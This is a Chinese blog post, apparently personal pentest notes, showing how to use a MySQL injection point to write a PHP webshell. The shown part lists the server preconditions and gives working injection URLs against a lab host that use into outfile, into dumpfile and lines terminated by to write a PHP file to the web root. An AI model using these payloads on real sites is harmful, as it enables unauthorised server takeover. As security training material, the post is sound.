MYSQL存在注入点,写WEBSHELL的5种方式

很久没更新了,分享一个2017年的笔记。

0x00 写数据前提

1,在mysql的配置文件 my.ini 中,secure_file_priv="c:/wamp64/tmp" 被注释 或者 ``secure_file_priv` 配置的位置是web目录。

2,未开启全局gpc。

0x01 环境准备

测试语句

<http://172.16.55.130/work/sqli-1.php?id=1>

页面显示效果

https://manning23.github.io/2019/07/23/MYSQL存在注入点,写WebShell的5种方式/1.png

0x02 union select 后写入

最常见的写入方式,union select 后跟 into outfile 语句

<http://172.16.55.130/work/sqli-1.php?id=@> union select 1,2,3,4,'<?php phpinfo() ?>' into outfile 'C:/wamp64/www/work/webshell.php'

<http://172.16.55.130/work/sqli-1.php?id=@> union select 1,2,3,4,'<?php phpinfo() ?>' into dumpfile 'C:/wamp64/www/work/webshell.php'

PS: 在windows下,位置的分隔符为 /(斜杠)。

0x03 lines terminated by 写入

注入点语句

<http://172.16.55.130/work/sqli-1.php?id=1> into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>';

<http://172.16.55.130/work/sqli-1.php?id=1> limit 1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>';

执行语句后,页面显示内容

https://manning23.github.io/2019/07/23/MYSQL存在注入点,写WebShell的5种方式/2.png

img

完整的Sql语句